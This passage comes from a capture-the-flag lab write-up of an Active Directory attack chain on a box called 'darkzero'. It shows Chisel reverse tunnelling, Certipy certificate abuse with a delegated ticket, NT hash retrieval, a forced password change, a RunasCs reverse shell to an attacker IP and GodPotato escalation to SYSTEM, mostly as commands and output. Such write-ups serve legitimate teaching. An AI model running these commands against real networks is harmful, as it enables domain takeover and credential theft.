[*] Flags : (0x60a10000) forwardable, forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : pYFAvYSRJjBL5HV6nB0Nw61NhQ+fBwd/g7RNfBK74Mg=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/DARKZERO.EXT
[*] Service Realm : DARKZERO.EXT
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
```
`describeTicket.py` confirms it is a TGT for `svc_sql@DARKZERO.EXT` encrypted with AES256, valid and forwardable. Because this ticket came from the GSS-API delegation flow (not an AS-REQ), it can be used for service authentication — such as certificate enrollment against AD CS.
***
### Privilege Escalation — ADCS Certificate Enrollment
#### Setting Up a Tunnel
DC02 (`172.16.20.2`) is not directly reachable from our attack machine. We tunnel through our shell using Chisel:
```sh
┌──(kali㉿kali)-[~/Documents/darkzero/chisel_lin]
└─$ chisel server -p 8000 --reverse
```
now transfer chisel to the shell and
```powershell
PS C:\ProgramData> ./chisel.exe client 10.10.14.95:8000 R:socks
./chisel.exe client 10.10.14.95:8000 R:socks
2026/05/31 12:16:14 client: Connecting to ws://10.10.14.95:8000
2026/05/31 12:16:17 client: Connected (Latency 296.8621ms)
```
#### Identifying the CA
Running `certutil` via `xp_cmdshell` on DC02 reveals an AD CS Certificate Authority:
```
SQL >[DC02.darkzero.ext] (dc01_sql_svc dbo@master)> xp_cmdshell certutil
output
-----------------------------------------------------------------------
Entry 0: (Local)
Name: "darkzero-ext-DC02-CA"
Organizational Unit: ""
Organization: ""
Locality: ""
State: ""
Country/region: ""
Config: "DC02.darkzero.ext\darkzero-ext-DC02-CA"
Exchange Certificate: ""
Signature Certificate: "DC02.darkzero.ext_darkzero-ext-DC02-CA.crt"
Description: ""
Server: "DC02.darkzero.ext"
Authority: "darkzero-ext-DC02-CA"
Sanitized Name: "darkzero-ext-DC02-CA"
Short Name: "darkzero-ext-DC02-CA"
Sanitized Short Name: "darkzero-ext-DC02-CA"
```
We also add DC02 to `/etc/hosts`:
```sh
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ echo "172.16.20.2 DC02.darkzero.ext DC02" | sudo tee -a /etc/hosts
172.16.20.2 DC02.darkzero.ext DC02
```
#### Requesting a Certificate
Using our delegated TGT and Certipy through the SOCKS proxy, we request a certificate from the `user` template as `svc_sql`:
```bash
KRB5CCNAME=svc_sql.ccache proxychains certipy req \
-u svc_sql -k -no-pass \
-dc-host DC02.darkzero.ext \
-target DC02.darkzero.ext \
-ca darkzero-ext-DC02-CA \
-template user
```
Certipy successfully issues a certificate with the UPN `svc_sql@darkzero.ext` and saves it as `svc_sql.pfx`.
```
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ KRB5CCNAME=svc_sql.ccache proxychains certipy req \
-u svc_sql \
-k -no-pass \
-dc-host DC02.darkzero.ext \
-target DC02.darkzero.ext \
-ca darkzero-ext-DC02-CA \
-template user
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC02.darkzero.ext.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.20.2:88 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'svc_sql@darkzero.ext'
[*] Certificate object SID is 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Saving certificate and private key to 'svc_sql.pfx'
[*] Wrote certificate and private key to 'svc_sql.pfx'
```
#### Authenticating with the Certificate (PKINIT)
We use Certipy to authenticate using the issued certificate, which performs PKINIT Kerberos authentication and retrieves the account's NT hash:
```sh
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ proxychains certipy auth -pfx svc_sql.pfx -domain darkzero.ext -dc-ip 172.16.20.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'svc_sql@darkzero.ext'
[*] Security Extension SID: 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Using principal: 'svc_sql@darkzero.ext'
[*] Trying to get TGT...
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.20.2:88 ... OK
[*] Got TGT
[*] Saving credential cache to 'svc_sql.ccache'
File 'svc_sql.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote credential cache to 'svc_sql_554a13f6-9a86-402e-9af7-ba238c10b4ca.ccache'
[*] Trying to retrieve NT hash for 'svc_sql'
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.20.2:88 ... OK
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
```
#### Changing the Password
With the NT hash, we use `changepasswd.py` to set a known password on `svc_sql`:
```
┌──(kali㉿kali)-[~/Documents/darkzero]
└─$ KRB5CCNAME=svc_sql.ccache proxychains changepasswd.py \
-hashes :816ccb849956b531db139346751db65f \
-newpass 'Password123!' \
darkzero.ext/svc_sql@dc02.darkzero.ext
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of darkzero.ext\svc_sql
[*] Connecting to DCE/RPC as darkzero.ext\svc_sql
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[*] Password was changed successfully.
```
***
### User Flag — Potato Escalation on DC02
With valid credentials for `svc_sql`, we use `RunasCs.exe` to spawn a shell under that account using logon type 5 (service logon), which satisfies the `SeServiceLogonRight` policy we noted earlier:
```powershell
PS C:\ProgramData> .\RunasCs.exe svc_sql Password123! cmd.exe -r 10.10.14.95:4444 --logon-type 5 --bypass-uac
.\RunasCs.exe svc_sql Password123! cmd.exe -r 10.10.14.95:4444 --logon-type 5 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2ff6a$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3604 created in background.
```
From this shell, we have a High Integrity session. The account's membership in `NT SERVICE\MSSQLSERVER` gives us `SeImpersonatePrivilege`. We exploit this with **GodPotato** to run commands as `NT AUTHORITY\SYSTEM`:
```powershell
PS C:\ProgramData> ./GodPotato -cmd "cmd /c copy C:\Users\Administrator\Desktop\user.txt C:\ProgramData\"
./GodPotato -cmd "cmd /c copy C:\Users\Administrator\Desktop\user.txt C:\ProgramData\"
[*] CombaseModule: 0x140723642957824
[*] DispatchTable: 0x140723645544776
[*] UseProtseqFunction: 0x140723644840112
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\e6936e4d-588f-40be-830b-8f58941cc0ab\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000c802-0e40-ffff-ee26-e54521b65beb
[*] DCOM obj OXID: 0x81b98a866e518e13
[*] DCOM obj OID: 0x56d7e33e67697394
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 400 Token:0x732 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5032
1 file(s) copied.
PS C:\ProgramData> cat user.txt
cat user.txt
84f4xxxxxxxxxxxxxxxxxxxxd701
```
**User flag captured.**
***
### Root — Coming Soon
***
### Summary of Attack Chain
```
Credentials (john.w)
↓
MSSQL on DC01 (darkzero.htb)
↓
Linked Server → DC02.darkzero.ext (sysadmin)
↓
xp_cmdshell → RCE as svc_sql
↓
TGT Delegation across forest trust (Rubeus tgtdeleg)
↓
ADCS certificate enrollment (Certipy)
↓
PKINIT auth → NT hash → password change
↓
RunasCs (service logon) → SeImpersonatePrivilege
↓
GodPotato → SYSTEM → user.txt
```
